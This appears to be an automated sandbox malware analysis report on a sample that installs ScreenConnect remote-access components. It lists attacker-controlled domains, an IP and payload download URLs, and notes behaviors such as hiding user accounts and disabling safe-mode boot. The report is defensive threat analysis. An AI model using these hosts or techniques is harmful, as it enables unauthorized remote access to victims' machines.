Source: Yara match File source: 00000001.00000002.2221493797.0000021CD051A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1754297358.000000000328F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: dfsvc.exe PID: 7740, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 4228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 2788, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..ient_4b14c015c87c1ad8_0018.0002_none_b50c000fe630258c\ScreenConnect.WindowsClient.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1542315 Sample: Qjq85KfhBC.exe Startdate: 25/10/2024 Architecture: WINDOWS Score: 60 48 secure.stansup.com 2->48 50 kjh231a.zapto.org 2->50 52 4 other IPs or domains 2->52 60 Multi AV Scanner detection for submitted file 2->60 62 .NET source code references suspicious native API functions 2->62 64 Detected potential unwanted application 2->64 66 2 other signatures 2->66 9 Qjq85KfhBC.exe 2 2->9         started        11 ScreenConnect.ClientService.exe 2->11         started        14 svchost.exe 8 2->14         started        16 2 other processes 2->16 signatures3 process4 dnsIp5 19 dfsvc.exe 133 110 9->19         started        23 WerFault.exe 19 16 9->23         started        70 Reads the Security eventlog 11->70 72 Reads the System eventlog 11->72 74 Deletes keys which are related to windows safe boot (disables safe mode boot) 11->74 25 ScreenConnect.WindowsClient.exe 11->25         started        28 WerFault.exe 2 14->28         started        46 127.0.0.1 unknown unknown 16->46 signatures6 process7 dnsIp8 54 kjh231a.zapto.org 79.110.49.185, 443, 49702, 49708 OTAVANET-ASCZ Germany 19->54 36 C:\...\ScreenConnect.WindowsFileManager.exe, PE32 19->36 dropped 38 C:\Users\...\ScreenConnect.WindowsClient.exe, PE32 19->38 dropped 40 ScreenConnect.WindowsBackstageShell.exe, PE32 19->40 dropped 44 13 other files (none is malicious) 19->44 dropped 30 ScreenConnect.WindowsClient.exe 19 10 19->30         started        42 C:\ProgramData\Microsoft\...\Report.wer, Unicode 23->42 dropped 68 Contains functionality to hide user accounts 25->68 file9 signatures10 process11 signatures12 76 Contains functionality to hide user accounts 30->76 33 ScreenConnect.ClientService.exe 30->33         started        process13 signatures14 56 Contains functionality to hide user accounts 33->56 58 Enables network access during safeboot for specific services 33->58
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
79.110.49.185
 secure.stansup.com Germany
57287 OTAVANET-ASCZ false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
secure.stansup.com 79.110.49.185 true
kjh231a.zapto.org 79.110.49.185 true
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com 217.20.57.21 true
fp2e7a.wpc.phicdn.net 192.229.221.95 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://secure.stansup.com/Bin/ScreenConnect.WindowsBackstageShell.exe false
    		unknown
    https://secure.stansup.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config false
      		unknown
      https://secure.stansup.com/Bin/ScreenConnect.WindowsClient.exe.config false
        		unknown
        https://secure.stansup.com/Bin/ScreenConnect.WindowsFileManager.exe.config false
          		unknown
          https://secure.stansup.com/Bin/ScreenConnect.ClientService.exe false
            		unknown
            https://secure.stansup.com/Bin/ScreenConnect.WindowsFileManager.exe false
              		unknown
              https://secure.stansup.com/Bin/ScreenConnect.ClientService.dll false
                		unknown
                https://secure.stansup.com/Bin/ScreenConnect.Client.dll false
                  		unknown
                  https://secure.stansup.com/Bin/ScreenConnect.Windows.dll false
                    		unknown
                    https://secure.stansup.com/Bin/ScreenConnect.Client.manifest false
                      		unknown
                      https://secure.stansup.com/Bin/ScreenConnect.WindowsClient.exe false
                        		unknown
                        https://secure.stansup.com/Bin/ScreenConnect.Core.dll false
                          		unknown